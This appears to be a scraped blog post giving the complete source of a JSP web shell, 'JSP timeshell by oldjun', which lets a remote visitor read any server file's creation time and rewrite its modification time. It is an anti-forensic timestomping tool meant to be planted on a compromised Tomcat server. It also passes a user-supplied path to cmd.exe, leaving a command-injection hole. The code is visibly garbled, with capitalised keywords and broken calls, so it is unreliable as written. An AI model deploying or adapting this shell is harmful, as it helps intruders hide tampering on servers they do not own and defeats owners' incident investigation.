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Small SHELL for modifying file modification time in JSP

Source: Internet
Author: User
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<% @ Page import = "java. io. *" %>
<% @ Page import = "java. util. *, java. text. *" %>
<% @ Page language = "java" import = "java. util. Enumeration" contentType = "text/html; charset = GB2312" %>

<Html>
<Head>
<Title> JSP timeshell by oldjun </title>
<Meta http-equiv = "Content-Type" content = "text/html; charset = gb2312"> <Body>
<H1> JSP timeshell by oldjun </H1>
<%!
Public static String getFileCreateDate (File _ file ){
File file = _ file;
Try {
Process ls_proc = runtime.getruntime(cmd.exe c ("cmd.exe/c dir" "+ file. getAbsolutePath () +" "/tc ");
BufferedReader br = new BufferedReader (new InputStreamReader (ls_proc.getInputStream ()));
For (int I = 0; I <5; I ++ ){
Br. readLine ();
}
String stuff = br. readLine ();
StringTokenizer st = new StringTokenizer (stuff );
String dateC = st. nextToken ();
String time = st. nextToken ();
String datetime = dateC. concat ("" + time );
Br. close ();
Return datetime;
} Catch (Exception e ){
Return null;
}
}
String folderReplace (String folder ){
Return folder. replace (\,/);
}
%>
<%
String action = null;
If (request. getParameter ("action") = null)
Action = "main ";
Else
Action = (String) request. getParameter ("action ");
If (action. equals ("main ")){
%>
<Form name = form1 method = "post" action = "? Action = getinfo ">
Filepath: <input name = "file" type = "text" size = "100"/> <br> (for instance C: /Program Files/Apache Software Foundation/Tomcat 6.0/webapps/ROOT/time. jsp) <br>
<Input type = "submit" name = "Button" value = "getinfo"/>
</Form>
<%
} Else if (action. equals ("getinfo ")){
String filepath = folderReplace (request. getParameter ("file "));
File file = new File (filepath );
If (! File. exists ()){
Out. println ("<script lanugage =" javascript "> alert (" file: "+ filepath +" not find! "); History. back (); </script> ");
}
%>
Filepath: <br>
<% = Filepath %> <br>
LastModifiedtime: <br>
<% = New Date (file. lastModified () %> <br>
Createtime: <br>
<%
String Createtime = getFileCreateDate (file );
Out. println (Createtime );
%> <Br>
Now: <br>
<%
Date myDate = new Date ();
Out. println (myDate. toLocaleString ());
%>
<Form name = form2 method = "post" action = "? Action = change ">
<Input name = "year" type = "text" size = "10"/> year
<Input name = "month" type = "text" size = "10"/> month
<Input name = "day" type = "text" size = "10"/> day
<Input name = "hour" type = "text" size = "10"/> hour
<Input name = "min" type = "text" size = "10"/> minute
<Input name = "sec" type = "text" size = "10"/> second
<Input name = "file" type = "hidden" value = "<% = filepath %>"/> <br>
<Input type = "submit" name = "Button" value = "change"/>
</Form>
<%
} Else if (action. equals ("change ")){
String url = "? Action = main ";
String filepath = folderReplace (request. getParameter ("file "));
String year = request. getParameter ("year ");
String month = request. getParameter ("month ");
String day = request. getParameter ("day ");
String hour = request. getParameter ("hour ");
String min = request. getParameter ("min ");
String sec = request. getParameter ("sec ");
File file = new File (filepath );
Calendar calendar = Calendar. getInstance ();
Calendar. set (Integer. parseInt (year), Integer. parseInt (month), Integer. parseInt (day), Integer. parseInt (hour), Integer. parseInt (min), Integer. parseInt (sec ));
If (file. setLastModified (calendar. getTimeInMillis ()))
Out. println ("<script lanugage =" javascript "> alert (" file date change success! "); Location. href =" "+ url +" "; </script> ");
Else
Out. println ("<script lanugage =" javascript "> alert (" time error! "); History. back (); </script> ");
}
%>
</Body>
</Html>

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